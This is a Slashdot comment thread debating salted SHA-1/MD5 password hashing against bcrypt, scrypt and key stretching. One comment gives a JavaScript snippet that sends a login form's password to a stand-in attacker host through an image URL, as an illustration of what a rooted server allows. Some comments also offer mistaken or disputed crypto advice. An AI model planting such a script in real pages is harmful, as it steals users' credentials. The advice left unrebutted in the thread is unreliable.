Are You Sure SHA-1+Salt Is Enough For Passwords? 409
Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be.
Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
Security cookbook? (Score:2)
Does anybody have a link for a security cookbook that covers this and other security topics while taking in to account the latest developments re: MD5 and friends, cross-site scripting, SQL injection, and other problems of the web-based app age?
Re:Security cookbook? (Score:4, Informative)
Re:Security cookbook? (Score:5, Funny)
It does not go too deep, but just deep enough:
That's what she said...
Re:Security cookbook? (Score:5, Informative)
Be sure to mention it to Melchett and CmdrTaco. They sure have completely missed the point of salting password hashes. When you have root, you can obviously verify that a given password matches the information stored on the compromised system. As root you have access to all information that the computer can use and since the computer must be able to tell if the given password is correct, root can too. The point of salt isn't to make that impossible. That would be stupid.
The point of salt is to make it impossible to use a precomputed table of password hashes and find a valid matching password just by comparing the precomputed hashes to the ones on the system. If you don't use salt, then one rainbow table suffices and the reversed passwords can be used on any other system that uses the same hash algorithm without salt and where the user has the same password (happens much too often.) With salt, you can not reverse the password except by brute-forcing each and every password hash individually. No time-memory trade-off with rainbow tables.
SHA1 is still considered a cryptographically secure hash function, which means so far no faster way to reverse it is known than trying all possible inputs in the forward direction until the result matches the given hash value. Salt makes the hash function an individual function per system (or even per password), which means you have to repeat this process for every system/password without being able to use precomputed tables and even if you can reverse a password hash by brute force, it is unlikely that you can use the resulting password somewhere else, because many passwords match the same hash, but only the right one will match for any salt.
Re: (Score:3)
Well, technically, you could have a rainbow table including different random salts. It'd be so enormous that most systems wouldn't actually be able to use it. Talk about space/time trade offs, though. If you had a big enough system with enough time to pre-compute the tables beforehand and enough storage to make them usable, then you'd really save loads of time in cracking passwords. The average high schooler isn't going to have such a system at his disposal, though. Neither would the average nation-state intelligence agency.
Every bit in the salt doubles the size of a rainbow table. Assuming an unrealistically tiny 1 GB for a normal rainbow table, a rainbow table for the same passwords + a 32 bit salt is 4 Exabytes. With a 64-bit salt you're talking "so unbelievable large that we might never be able to store that amount of data".
Not to mention that even a small salt makes it faster to just try each password individually than precompute all possible passwords.
Wait, what? (Score:4, Informative)
Why is this even a question? Use bcrypt [codahale.com], always. (Preferably using the $5$ or $6$ extensions.)
Re:Wait, what? (Score:4, Informative)
Why is this even a question? Use bcrypt [codahale.com], always. (Preferably using the $5$ or $6$ extensions.)
mysql only offers AES, DES, MD5, and SHA... So... for at least a certain subset of developers, thats what they're going to use.
I'm not saying they're correct to do so, I'm just explaining why they will not even consider your suggestion, because they have architectural problems, for them its not as simple as search and replace all calls to md5() with bcrypt().
Re: (Score:2)
Pulling the one database call into the application code shouldn't be difficult if the system is architected well. In the framework I maintain it only requires changes to two small functions.
Re: (Score:2)
You do realize that OP was referring to MySQL, do you not?
Re: (Score:3)
additionally they won't think about salting. I have seen many mysql databases where there are plain md5 strings.
So you can gain access by google: http://www.google.com/search?q=e10adc3949ba59abbe56e057f20f883e [google.com]
Re:Wait, what? (Score:5, Informative)
While most people know enough about security to avoid a plain password hash, very few people know how vulnerable common key derivation functions truly are. Things like PBKDF2, bcrypt and MD5-crypt widely used for example in Linux shadow file or in TrueCrypt give only a linear advantage over a salted plain hash. 5000 MD5 repetitions might sound like great security from a brute force perspective, but the asymptotic hardware cost of brute-forcing such a password is fairly small. The cost to break your 8 letter bcrypt password is in the hundreds of dollars, assuming enough passwords are cracked to justify a hardware cracker. I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy. Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.
I know of only one strong key derivation algorithm that forces the attacker to scale it's hardware cost at the same rate as the software slowdown: scrypt [tarsnap.com]. So by all means, don't use bcrypt, use scrypt.
The issue is completely different in a webserver, that probably can't spend 1 second of CPU time whenever a user logs in. Is such cases a hash + salt is all that you can realistically expect if a dedicated authentication machine does not exist. At least try to combine them safely using a HMAC, not some home-grown SHA1(salt+password) scheme.
Stop (Score:3)
What utter, utter nonsense.
You don't iterate a hash function. That's just cryptographic hand waving. Pick a hash function that has not been broken with respect to password storage, then use a longer password, [wikipedia.org] or key.
HMAC is for message authentication codes. You do, in fact just use string concatenation for adding salt.
NO HMAC, NO XORing, NO interleaving, JUST concatenation. Anything else is yet more cryptographic hand waving.
Re: (Score:3)
You don't iterate a hash function. That's just cryptographic hand waving
That's exactly what common password strengthening algorithms like bcrypt or PBKDF2 do. They are carefully designed for the purpose of increasing brute-force computational cost and of course don't simply do MD5(MD5(MD5(....MD5(x)))).
HMAC is for message authentication codes.
That's what an encrypted password is a MAC from the user that authenticates the salt using his password. In this instance however, since the attacker can't control the salt nor password, using a HMAC will not buy more security. Guilty as charged of hand waiving :)
Re: (Score:3)
I guess I made a "hash" of making my point.
Case study: [php.net], people trying to increase security be doing odd things such as first hashing with SHA1, then MD5, and many, many strange combinations. None of which actually improve security.
Not even security though obscurity, but obscurity though spaghettification.
Bottom line: Stop torturing that weak hash algorithm. Feed a strong key into a strong hash.
Re: (Score:3)
The point basically was, use a stronger key in the first place, rather than layering on key strengthening techniques.
And it's wrong. You might use a 256 byte passphrase, but the average PayPal user has 42 bits of entropy in his password. If you can stretch that to 60 - 70 bits using password strengthening techniques, it's a huge security improvement for your system.
Re: (Score:3)
Use bcrypt
Forgive me for being dense, but the advantage of bcrypt is that it's slower? If that is the case, why not just run your MD5 or whatever hashes in a loop 50 or 60 times to get the same performance hit?
Re: (Score:3)
Nope. The result of an MD5 run is a 128 bit value. 16 bytes. 32 characters if represented in hexadecimal. http://en.wikipedia.org/wiki/Md5 [wikipedia.org]
Am MD5 rainbow table for all passwords between 1 and 7 characters long with between 0 and 7 lower case characters, between 0 and 7 upper case, between 0 and 7 numeric characters and 0 to 7 spaces weights in at only 26Gb apparently [freerainbowtables.com], within the available RAM of a chunky machine these days and well within modern drive sizes - so you definitely need some salt in that hash.
Ho
Re: (Score:3)
They're very wide bytes.
Who cares what method? (Score:4, Interesting)
The box is rooted, nothing you do matters. Just change the code...
CHANGE:
string pass = request("userspass")
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
TO:
string pass = request("userspass")
SendTheHackerThePassword(pass)
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
And you're done... Just wait for the passwords to come rolling in.
Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.
Re:Who cares what method? (Score:4, Interesting)
Oh, the browser hashes the password. // could use onload or any other fancy technique ...
And the box is rooted?
Put your code here:
<head>
<title>super secure website</title>
</head>
<body>
<script>
function doit() {
document.write("<img src='http://senthehackerthepassword.com/"+form.password.value+"'>"
}
settimeout("doit()",5000)
</script>
Re:Wait, what? (Score:5, Funny)
Passwords (Score:3, Insightful)
Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.
Re: (Score:2)
The real problem is that there is no means of remote authentication that cannot be faked in one way or another. Unless you figure out how to fingerprint the soul this is going to be an ongoing problem basically forever. The best thing you can do is use multi-factor authentication but that provides new opportunities for user frustration so we tend away from it. A keyfob can be lost or stolen. The machine a private key resides on can be compromised. All you can do is raise the bar and pray.
Re: (Score:2)
Re: (Score:3)
Re: (Score:3)
This is basically the proc
Re: (Score:3)
Banks aren't all that smart.
I bought a house and moved across the country a few years ago. Because I had bought a house, I was on every creditors list as having money. I received two "checks" for $5,000 and $8,000. Those checks were cashable, but they would have opened a line of credit for me at 24.99%.
Little did I know, one of them also sent one to my previous residence for $9,000. Someone saw it as free money. I found out after the collections company trie
Re: (Score:3)
No, the real problem is that even if you had perfect authentication that couldn't be faked, you could still have stupid, malicious or simply corrupt employees. The entire idea of trying to restrict information to specific people is flawed. That doesn't mean it is a bad idea, but don't be surprised that it isn't perfect, and don't worry about complete perfection. You will always have way bigger security holes than technological ones.
What is the solution: There is no solution, only semi-perfect prevention.
Re: (Score:3)
Re: (Score:2)
If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.
A plan with zero drawbacks!
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
I have to use an RSA key fob now to sign in to several bits and pieces and it's REALLY EXCITING!
I feel a bit like a spy typing in different secret codes every day.
Re: (Score:3)
http://www.businessinsider.com/how-mark-zuckerberg-hacked-into-the-harvard-crimson-2010-3 [businessinsider.com]
This is one of the biggest problems with passwords: you often wind up sending a password to some unknown system that could be doing a number of things with it (like displaying it
Re: (Score:2)
Why do you think that asking people to choose a "phrase" is going to be more secure than asking them to type a word? It just means they'll just type "my password" instead of "password", "abc 123" instead of "abc123" and "i love you" instead of "iloveyou".
The problem isn't the number of letters, it's the users.
The problem is people (Score:4, Interesting)
Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.
One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.
Re:The problem is people (Score:5, Insightful)
Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.
Its best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks. And store then so they can't reuse their previous 20 passwords. That way the users will exclusively save the password in their unsecure browser, unsecure post it notes, or cut and paste from a text file, or the corporate standard database that being an excel spreadsheet. Thats how REAL security pros roll, or so I'm told.
Re: (Score:2)
REAL security pros use multi-factor authentication by storing their master password list in an encrypted file on their rooted/custom-firmware mobile phones. The file is encrypted using a master pass-phrase (factor 1) and the phone will only unlock with a biometric ID (factor 2) and you need the phone to get at the password (factor 3). Bruce Schneier has written all about it!
(It is rather important that your wireless service provider not have administrative access to the device, which is where the custom f
Re: (Score:2)
You do make a good point, the typical advice given out on password policies can often be detrimental, and the typical implementations used can be flawed.
Most systems don't stop dictionary words.
Even if you're forced to use a *different* password to your previous one, the level of difference typically isn't enforced so password1 can become password2.
Storing a fixed number of previous passwords is flawed as users can keep changing them to roll around, and setting a minimum password age is just a nasty kludge
Re: (Score:2)
I wasn't trying to provide a comprehensive list of password composition rules. What I was trying to say is that because we're dealing with people, we have to encourage them to make better password choices. Changing the mindset of people from "password" to "passphrase" or even "pass-sentence" is one place to start. It's an easy way to help average people think of more (number of bytes) data.
Even if it's as inane as "omgilovejustinbieber!", it's probably not found in any hackers' rainbow table (yet.) But
Re: (Score:3)
You forgot that the password should also have a maximum length of 16 characters.
I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.
Re: (Score:3)
That isn't necessarily bad. It's easier for a random cybercriminal in China or Russia to root a server that stores a million passwords than it is for them to break into a million American homes.
Re: (Score:3)
Maybe enforce "three word minimum" or something
Wanna bet on the number of people who'll chose "a a a" as a password?
Re: (Score:2)
Re: (Score:2)
Which device will you trust to store that key and implement the private-key side of the authentication? How much do you trust it? Does the same device also generate the key, or do you have to trust some other device for that? (Ask Sony what happens if you are not sufficiently careful about how you generate private keys... :)
Re: (Score:3)
Re:"Maybe enforce three word minimum" (Score:2)
One of the most common passwords of all time is "iloveyou" so I'm not sure that will help.
The trouble with making things foolproof is that fools are very resourceful people...
Re: (Score:2)
> One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password".
> Maybe enforce "three word minimum" or something.
Already done here! :-)
Used to have: "MyPassword1".
Now I got: "My passphrase One"
They don't necessarily get the salt (Score:2, Insightful)
When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
Not if you encrypt the salt using the password.
Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
Salt Hash = SHA256( SALT )
Authentication: user enters password
Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
Yes: Password Entered Correctly
No: Access Denied
Re: (Score:3, Interesting)
Not if you encrypt the salt using the password.
The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.
Re: (Score:3)
The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password.
How are you going to perform a dictionary attack when the salt is just a random number? For a brute-force attack you need to know that the value you've decrypted is the correct one, and if the value is just a random number you have absolutely no information to tell you whether it's valid.
Re: (Score:2)
Ah, of course you can take the password and the salt and then hash them to check whether the password and salt are correct. But then you're still stuck with trying all possible passwords until you find the correct one instead of using tables to speed up your brute force attack.
I agree then, encrypting the salt with the password doesn't provide any real benefit. But you won't be performing a separate attack on the salt and then the password, you'd just decrypt the salt with each possible password, hash it al
Re: (Score:2)
Um... I don't know what computational world you live in where requiring TWO dictionary attacks is merely doubling the effort required.
This one. Running an algorithm twice means double the effort spent, at least in terms of time (assuming that the password and salt are the same length). You could get the same effectiveness by adding a single bit to the salt, which then could be said require two attacks: one assuming that the salt bit is 0 and one assuming that it is 1. Add another bit to the salt, and you need four attacks, one each for 00, 01, 10, and 11. Add a third bit to require eight attacks, and so on. This is why salts are effective
Re: (Score:2)
The purpose of the salt is to stop people using pre-computed rainbow tables.
With a different salt per password (even known) they have to generate rainbow tables per salt/password.
If the salt is the password then you only need generate one rainbow table to crack the whole list.
Re: (Score:2)
Re: (Score:2)
I was also wondering as I wrote the reply whether I was just being strung along. I thought it was better to take the hit and look a fool, even it stopped just one person actually doing this!
Re: (Score:2)
Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
Salt Hash = SHA256( SALT )
Authentication: user enters password
Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
This calls for a bit of algebra. You say:
SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) = SHA256( SALT )
Ignoring collisions:
AES_DECRYPT ( Password Hash using PASSWORD ) ) = SALT
Replacing Password hash defined by you:
AES_DECRYPT ( SHA256( AES_ENCRYPT( SALT using PASSWORD ) ) using PASSWORD ) ) = SALT [1]
But obviously:
SALT = SALT
AES_ENCRYPT( SALT using PASSWORD ) = AES_ENCRYPT( SALT using PASSWORD )
AES_DECRYPT ( AES_ENCRYPT( SALT using PASSWORD ) using PASSWORD) = SALT [2]
[1]+[2]:
SHA256( AES_ENC
Separate out the Authenticaton (Score:2)
Root access to the application server does not automatically become root access to the password database.
The password system should be approved/denied and not just a database of the hashes.
Check out Apple's Open Directory as a good example.
using game of life? (Score:2)
What about using a cellular automate?
A silly idea I just had yesterday.
Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.
Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/ [kuliukas.com]
Re: (Score:2)
What about using a cellular automate?
A silly idea I just had yesterday.
Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.
Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/ [kuliukas.com]
GoL isn't as good of a hash compared to a more traditional hash. First thing that comes to mind is some hashes can spread a single bit change faster than GoL's "speed of light" limitation. The "c" limit in GoL is that a glider etc cannot move faster than a cell per generation in any direction, but I think there are hashes where a single bit change can spread across the hash faster than one adjacent bit per complete hash function. One generation of MD5 beats 50 generation of GoL on a 100x100 board in term
Re: (Score:3)
Well as we seek SLOW routines for password hashing, if you need 1000 GoL generations to get something really usable, well so that's it. Slow as hell. Exactly what is needed to secure a password.
You can't use GoL to hash a complete file, there you need a fast hash function.
Iterated hashing... (Score:2)
I'm skeptical about schemes like PBKDF2. Doesn't the passphrase loose entropy each time you hash it? Instead, for iterated hashing it's probably better to use a one of the methods of transforming a conventional block cipher into a hash function. Anyway, what you should worry about is not so much the hashing itself but the entropy of the passphrase.
For example, I doubt many human-invented passphrases would stand a chance against a cleverly-generated, terabyte-sized dictionary. Heck, most people use "1234" an
No kidding. (Score:2)
Re: (Score:2)
That's about the most "Duh" article. Anyone with half a brain should know if they are already in all bets are off and it matters not a whit if you used corned beef to generate your hash.
Finally! Man I was starting to think I was reading the world's first Slashdot article to have nothing but honest discussion, without trolls, jokes, offtopics or idiots! You broke the spell.
Are MD and SHA easily reversible? (Score:5, Interesting)
I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?
They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.
Re: (Score:2)
Ok - yeah, my point was valid, but the problem space is indeed not very large for 6-character alpha-numeric passwords.
But I stand corrected, because as the AC points out with the posted link: using a slower algorithm will indeed throw a spanner in the works for any cracker.
In the past we've implemented password hashing using Blowfish, and we set a minimum password length of 8 - which is an improvement I guess.
Why isn't Bcrypt benchmarked on the page linked to (http://www.cryptopp.com/benchmarks-amd64.html)
Isn't salting to avoid similarities in hashes? (Score:2)
I'm fairly green when it comes to the security game, but wasn't the purpose of the salting to avoid the issue we saw with Gawker in that once you figured out Bob's unsalted password "password" hashed to "5f4dcc3b5aa765d61d8327deb882cf99" you suddenly has the credentials for X other users that all used "password" as their password as well? Where if the password had been salted all the hashes would be different and they would have had to brute force each one?
If the hacker has root access to your machine and h
Okay...waitaminute.. (Score:5, Insightful)
So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?
Ore are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?
Can I get a "well fucking DUH!" here?
Seriously, exactly how tall are you claiming this molehill to be?
In BOTH cases the problem IS NOT the weakness of SHA+salt.
In the latter, the problem is some jackass used a crappy password. And even that's defensible if you have things like login restrictions and account locking in place.
In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.
Sorry, but this sounds like someone with SEVERE tunnel-vision here. They're so monofocused on "A" problem, that they fail to see the larger ramifications of the scenarios they construct.
Desktop Supecomputers (Score:2)
That said, good password practice is obviousl
so? (Score:2)
If an attacker has got root access, he can reset the passwords to whatever he wants. Unless I'm missing something, that's endgame. Users could have the passwords stored directly on the database, and it would make no difference.
Re: (Score:2)
That's probably endgame for the application, but the ability to discover existing user passwords from a system is often more interesting to an attacker than compromising the application that coughed up the hashes. The reason for that is that people often use the same credentials on other systems. So, if you attack a "lower security" system and grab credentials off of that, you can often turn around and more quietly attack a higher security system that shares many of the same users ("more quietly" because
Of course salt matters (Score:2)
The greater benefit is that unless the attacker knows how the salt was created and applied (e.g. prepended / appended), you stop dictionary attacks dead in their tracks. e.g. my salted hash might be a hash of the registered email ad
Degrees of Ownage (Score:2)
"When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
While better password encryption is certainly a good thing, if your attacker has root access already, it's only a matter of time until he has the whole enchilada.
OTOH, you don't want rooting of one box quickly leading to compromise of a dozen others due to the amount of lazy password reuse that goes on.
Use an HMAC (Score:2)
If you need database support for it, then there is an opportunity to get some opensource fame and add it.
The assumption is they can get at the hashes, salt or not, with some of the GPU accelerated stuff and criminal set out there now, if they can get the hashes and it's simply salted and hashed or just hashed, within a reasonably small amount of time they can turn that in to passwords.
There is bcrypt but there are also hmacs, it would be interesting to see an analysis of md5-hmac vs salting or some ot
A Continuum of Security (Score:3)
There are basically four levels of security with passwords. The first one is an unencrypted password. It's obvious why this is a bad idea. The second is a hashed password. This is, however, subject to a trivial dictionary attack. The third is salted and hashed, and the last is salted, iterated, and hashed. The benefit of iteration is that it slows down the attacker a huge amount. So while salted and hashed is much better than just hashed, it's not really ideal.
OpenPGP provides the last three types and strongly encourages using iteration. WPA2 uses PBKDF2, which is iterated and salted. It's clear that if you want real, cryptographic security, you should be using an iterated and salted method. But using just salt is a much, much better idea than without salt at all.
Password stretching etc (Score:5, Informative)
The solution to this is simple: just iterate the hash function many times so that the time to hash the password is (say) 300ms - unnoticeable to an interactive user, but significant for a brute force attacker. This is called password stretching, and is as important as salt.
See http://www.openwall.com/articles/PHP-Users-Passwords [openwall.com] for a review of this and other password hashing issues - not just for PHP, this article gives the thinking behind phpass which is now used in Drupal, and has been reimplemented in other languages. phpass includes bcrypt() as an option but can work even with really old PHP versions that only have MD5. Just because MD5 and SHA1 have been cracked to some degree doesn't invalidate them for password hashing with salt and stretching.
Key derivation functions perform essentially the same operation as password stretching, see http://en.wikipedia.org/wiki/Key_derivation_function [wikipedia.org] - there is an IETF RFC for this.
Digression: Windows 7 still doesn't use salted passwords, which is why it's so easy to crack Win7 passwords given the hashed password, using Rainbow Tables - see http://en.wikipedia.org/wiki/Ophcrack [wikipedia.org] - try the vendor's scarily good online password hash cracker for yourself...)
Most importantly: don't even think of implementing your own crypto code unless the above is very old news to you, because you WILL get it wrong - the examples of unsalted and unstretched passwords are only the beginning. Instead, search for a credible crypto library in your chosen language, and if necessary write a C wrapper so that your preferred scripting language can access a good C/C++ library such as Crypto++ - http://www.cryptopp.com/ [cryptopp.com]
Salting with username (Score:3)
Does anybody know why it's a bad idea to salt passwords with usernames (or hashes of usernames)? Say, something like...
$username = "linus"
$password = "tux4me"
client asks server for salt to use with $username
server returns md5("common2allUsers" . $username). Client doesn't do this directly to make it less publicly obvious that the first salt is "common2allUsers". Salt is algorithmically-determined by username to avoid revealing whether or not a given username is valid to attackers. Server uses md5 for speed, since this particular hash is partly just obfuscation and security theater.
client calculates $passhash = sha-1($commonSalt . $password)
client sends $username and $passhash to server.
Server looks up $usersalt associated with $username in database. If $username doesn't exist, server pretends salt is 'badU53r' and proceeds with lookup anyway to reduce vulnerability to timing analysis attacks.
$storedSaltedHash = sha256($usersalt . $passhash)
Server looks up userid associated with $username and $storedSaltedHash
Rationale for hashing before sending to server: to obfuscate the password in case it ends up being revealed in a log somewhere.
Rationale for hashing the hash again: to use a unique hash for every user, without revealing the hash or enabling attackers to harvest usernames.
Drawbacks: 1) increased server workload. 2) ???
It's not the crackers I fear (Score:3)
I stopped imagining how the shop functions and who has access to my password and resolved to never use that password anywhere else, to refrain from storing any payment information on the site and to wire instead every purchase I make. Worst case here is that some joker logs in and orders a shit load of items and I have to explain to the supplier that they are idiots.
Generally speaking, when a node is compromised then password security is lost as there mostly will be a process reading your password in clear text. Using mechanisms with private and public keys will not expose your private key but the session on the server side is pretty much useless.
Then again, there isn't yet a generic system available whereby you own a private key in hardware which you yourself do not even know, which works on every conceivable operating system. If think you have already the answer then consider that storing your private key on a host you think will never be compromised is pretty endearing or actually incredibly pathetic.
There should be laws against storing clear text passwords and against organisations not being able to recognise if their systems are compromised. My take is this will take a few decades though.
Re: (Score:2)
Not being a security guru, why would you even give someone 10k or 100k attempts/second? I'd want to keep that number as low as feasibly possible, per account.
Attacker sql injected (or whatever) a "select * from passwordstable" and now have a local copy. Then on their local box, or cloud provider, or another victims box / cloud, they crack the passwords table using their own resources. You have no way to rate limit them other than making it computationally intensive. I think you're thinking of something like "fail2ban" on your locally installed app.
Re: (Score:2)
Re: (Score:3)
Re: (Score:2)
It's a good thing you're the only user. How big of an authentication server would you have to have to just handle a 100 person organization? 1000? 100,000?
Re: (Score:3)
First post!
Your failure to properly encrypt your post has left it vulnerable to many eyes. Maybe you should have RTFA?
Re:First Post! (Score:4, Informative)
Salts are a necessity: without salt, you would be able to identify very fast two users having the same password. Without salts, you would be able to find a password faster when you have more users. As a result, the size of the salt shall be related to the number of encrypted passwords you are trying to protect from cracking.
If you are trying to crack a single account, salt does not change anything. The purpose of salt is not to increase the security of a single account, but to avoid the reduction of security that would occur when you have many accounts.
Re: (Score:2)
Normally if the person has enough access to see the hashed Password they have enough access to change it, with their own. No need to decrypt it just change it with your own... When you are done you past it back in. The purpose of MD5 SHA or whatever isn't to keep your password as an uncrackable password. It is about keeping it encrypted enough to keep us from seeing peoples passwords. So when they go I don't know my password you can't just look it up and give it to them. You will need to go threw a passw
Re: (Score:3)
Re: (Score:2)
Salting still defeats it though.
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
Hashes aren't so much made for speed as for the knee-point of sufficient diffusion versus high speed.
Most common hashes are designed for speed, though - more specifically, they're designed to be fast to compute in software rather than just in hardware. As it happens, this is actually a good thing - it means a determined attacker can't get as much of a speed-up relative to the software implementation by constructing a hardware brute-forcer.
Re:News at 11 (Score:5, Informative)
This isn't about passwords, it's about using hash values to protect passwords even from people with the root password. Basically, not even root should be able to figure out any users password.
Normally this is done by never storing the users password, only a hash of the users password, it's MD5 value say. Now the user enters their password, this is hashed, and that value compared to the stored hash. We could talk about collisions etc, but lets assume this works for now. User can get in with the right password, but not even root knows what this is just by looking at the hash database.
Unless of course rootâ"or the attacker that has gained rootâ"has a precomputed table of hash values. Then they need only look up the hash and obtain the password directly. To prevent this, systems use "salts", random integers/strings, appended/XORed to the password before the hash is computed. In theory then, an attacker would need to generate a different hashtable for each individual system compromised. Infeasible, or so we think.
He's where TFA comes in. MD5 and SHA1 are optimised to some extend for speed. Now, suppose the attacker has gained root and now knows the salt. How long will it take to generate a hashtable which can be looked up to find user passwords. TFA argues that this will now take only 33 days on a single machine using GPU computation. That's ~24 hours with less than 50 GPUs. Salt or not, these hashes are crackable in hours, not years.
So basically, the speed of MD5 and SHA1 hashes is actively working against computer security by making computing hashtables easier. TFA argues that a more computationally difficult hash scheme is needed, subject to certain criteria, and offers the PBKDF2, Bcrypt, and HMAC algorithms as potential alternatives. You could also throw, say, the three body problem with initial conditions at the computer instead.
Basically, hashing will protect against people with root access, but only if the hashing algorithm is computational difficult.
Re: (Score:2)
Basically, not even root should be able to figure out any users password.
What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?
Re: (Score:3)
Basically, not even root should be able to figure out any users password.
What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?
Nothing. But the user could at least be aware that something is amiss as the password reset probably wouldn't be affected and this would only work for as long as the attacker maintains access (rather than syphoning off the user/pass data for later analysis elsewhere).
The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle fo
Re: (Score:2)
Or, you know, replaces the passwd binary with one that writes out a log readable only by root.
Then they just have to wait. They could even expire the user's password or make them re-enter it.
Re:News at 11 (Score:4, Insightful)
Well, seeing as how the article is about web authentication, hacking the passwd binary probably isn't that useful, depending on how the devs implemented their stuff. Probably they just take the text, pass it through a hashing function that likely punts to something like crypt() in the libc on the system, possibly picks a a salt, then stores the hashed password in a database table.
crypt() putting out des, for example, usually only uses a 2-character salt, so if you have the hashed password you can knock the first 2 chars off, pass those back into crypt() as the salt value, the brute force the rest of the key space. Compare the result of the current iteration to the hash you're trying to crack, etc. or use rainbow tables, or other methods for doing this.
Getting access to the database through a flaw in a web app is going to be a lot easier than getting a shell on the system then getting a local privilege escalation to root and replacing system binaries.
Re: (Score:3)
As is well known to competent users of cryptography, you create the computational effort by iterating the hash. Even the very old UNIX crypt() function already did this. Those that use a single has iteration are simply incompetent and did not research how to do it right at all. Typical iteration counts needed today are in the 100'000 - 1'000'000 range.
Re: (Score:3)
First, all security is a trade-off.
Second, you need hash iterations and salt, but you only need to use the salt once at the beginning. After one hash iteration, you cannot use tables anymore, as they would be too large (for example 2^160 entries for sha1). Tables only work for low-entropy passwords, and because there are a lot less of those than there are hash values.
Re: (Score:3)
A correctly-implemented salted-password scheme uses a different salt per user - it doesn't even matter if it's trivial to predict. The point is that it multiplies the computational load to compromise n users by n. You can't generate a single look-up table any more.
Further, the salt is combined with the key, not the user's password. If it was just combined with the password before the encryption, when you used your look-up table to find out the (password+salt) used to generate a particular hash, you would th
Re: (Score:2)
The first time I heard that "film at 11" thing, I thought they meant airing a movie at 11 PM.
Re: (Score:3)
You would get basically the same result, with less chance of compromising the hash function, by prepending or appending some unique-per-server string to the input.
The operations in each round of these hash functions are usually very carefully chosen to resist attack, and fiddling with that mathematical structure is much more likely to make a worse hash function than it is to make an equivalent or stronger one.